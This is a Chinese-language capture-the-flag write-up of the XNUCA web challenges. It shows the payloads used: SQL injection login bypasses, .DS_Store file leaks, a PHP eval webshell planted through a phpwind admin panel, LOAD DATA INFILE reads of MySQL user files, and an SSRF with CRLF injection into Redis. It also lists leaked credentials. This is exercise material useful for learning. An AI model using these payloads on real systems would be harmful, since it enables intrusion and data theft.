周末一个人打了中科院的XNUCA(小伙伴打着打着就不知道哪里去了…),由于比较弱,最后也只能打到20多名,稍微整理下wp吧…
Sign
Good Luck!flag{X-nuca@GoodLuck!}
没啥可说的
BaseCoding
提示:这是编码不是加密哦!一般什么编码里常见等号?
这一串字符好奇怪的样子,里面会不会隐藏什么信息?http://question1.erangelab.com/
这种题目还需要提示…..base64解一下就好了
BaseInjection
提示:试试万能密码
不知道密码也能登录。http://question2.erangelab.com/
1 | http://question2.erangelab.com/chklogin.php |
4、BaseReconstruction
提示:对数据包进行重构是基本技能
此题看似和上题一样,其实不然。http://question3.erangelab.com/
说实话我不知道有啥区别,payload和上面一样。
1 | http://question3.erangelab.com/chklogin.php |
5、CountingStars
提示:一不小心Mac也侧漏
No more $s counting stars. http://question4.erangelab.com/
其实看到里边的备注就猜到是mac的备份了
在mac中每个文件夹中都存在.DS_Store这个文件,会有部分当前文件夹的信息
1 | http://question4.erangelab.com/.DS_Store |
拿十六进制编辑器分析下就能发现epLF1rEihQp5AjCUcgGry330jkFSC1C7.zip
下载得到的居然是损坏的zip,那拖去linux binwalk一跑就得到了index.php
1 | <?php |
没什么可说的,本地一输出就好了,得到d0llars
check会直接跳转,那么就curl一下吧
1 | ubuntu@VM-181-46-ubuntu:~$ curl 'http://question4.erangelab.com/check.php' -H 'Host: question4.erangelab.com' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'answer=d0llars' |
6、Invisible
隐藏IP来保护自己。http://121.195.186.234
打开不知道要干什么,猜测是改xff,随便一改就过了…
7、Normal_normal
提示:phpwind 后台getxxxxx
又是一个bbs。http://question6.erangelab.com/
看文章发现了邮箱zhangrendao2008#126.com
队友找到了一个社工裤,得到
1 | 帐号zhangrendao密码zhang2010 |
进入后台http://question6.erangelab.com/admin.php
在编辑模块的时候,发现其中有一个自定义html,可以直接写代码,那么我们就构造
1 | echo 'test';eval($_POST['a']) |
翻了翻找到外部调用的接口,这个接口是通过php文件包含实现的,那么我们的想法可行
1 | http://question6.erangelab.com/&c=api&token=MOw0mvL9kj&id=44&format=script .php?m=design |
get shell
1 | a=$username=file_get_contents('./flag-3g5WFxt7Fxp09C.txt');var_dump($username); |
8、DBexplorer
提示:a.SELECT @@datadir 。。。mysql/user.MYD b.user.MYD
Where is my data。http://question7.erangelab.com/(请不要修改密码!)
进去发现了.db.php.swp
,得到当前账户的号和密码,然后发现了phpmyadmin
1 | username:ctfdb password:ctfmysql123 |
通过SELECT @@datadir
,我们可以得到mysql的路径是/var/lib/mysql/
配合网上的搜索,文件的路径是/var/lib/mysql/mysql/user.MYD
进去发现可以使用table q来读取文件内容数据,使用load_file并不能读到数据…(没有搞明白为什么)
后来发现了load data命令,这里还踩了坑,关于是否使用local的
http://blog.csdn.net/youngerchen/article/details/7881678
最终payload:
1 | LOAD DATA INFILE '/var/lib/mysql/mysql/user.MYD' INTO TABLE q fields terminated by 'LINES' TERMINATED BY '\0' |
有一个别的账户,登陆进去就是flag
9、RotatePicture
提示:urlopen file schema
转转转。http://question8.erangelab.com/picrotate
题目是传入一张图片,会返回倒着的图片。
测试不难发现这个接口可以扫描内网,并支持伪协议,那说明我们可以巧妙地构造ssrf来进行攻击…
通过file协议我们可以读文件,但是只能读一行。。。
1 | file:///etc/passwd |
看源码,发现有提示views.py
1 | file:///views.py |
我们得到
1 | http://question8.erangelab.com/getredisvalue |
发现内网6379端口开着redis,那我们可以通过Python urllib HTTP头注入漏洞
来攻击内网的redis。
这里有两篇文章
https://virusdefender.net/index.php/archives/749
https://security.tencent.com/index.php/blog/msg/106
但是不知道怎么写的,各种报错,还有过长的判断,强行set值看看。
1 | http://127.0.0.1%0d%0aset%20c46fb8d3-6322-42ba-8919-dc4b914714db%2012345%0d%0a:6379 |
中间就是getredisvalue拿到的uuid
,查询刷新就拿到flag了。
1 | flag{url0pen_1s_1nterest1ng} |
10、AdminLogin
On the way in。http://121.195.186.238/index.php
首先注入,虽然不知道出题人脑子有没有坑,但是带着referer就好了
1 | http://question9.erangelab.com/news.php?newsid=2 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA limit 1,1%23 |
注入得到admin的号密
1 | ctfphp |
admin
administrat0r
然后找到robots.txt
1 | robots.txt |
这里巨坑埋下了,这里的后台没有任何返回,然后后来改题却没有公告
1 | http://121.195.186.238/xnucactfwebadmin/logincheck.php |
OneWayIn
How can I get in。http://question11.erangelab.com/
1 | http://question11.erangelab.com/index.php |
做这题的时候感觉自己是个智障…进去居然没有发现源码,但无意中过了判断…
1 | 0_username[]=admin |
返回了一大堆16进制的东西….导致我没注意到其实已经发生了跳转…就不能好好返回个要做什么吗???
1 | http://question11.erangelab.com/flag_manager/&num= .php? =dGVzdC50eHQ= |
我们可以通过base64编码文件名,然后num一行一行读内容,python随便写个脚本就好了
1 |
|
由于出题人的脑洞大开,强行加难度,flag.php是有phpjiami加密过的,但是读文件的时候没有设置编码,然后读回来的文件都不完整,curl也是不完整,这里只有python读回来的是完整的…
淘宝2.5一解就好了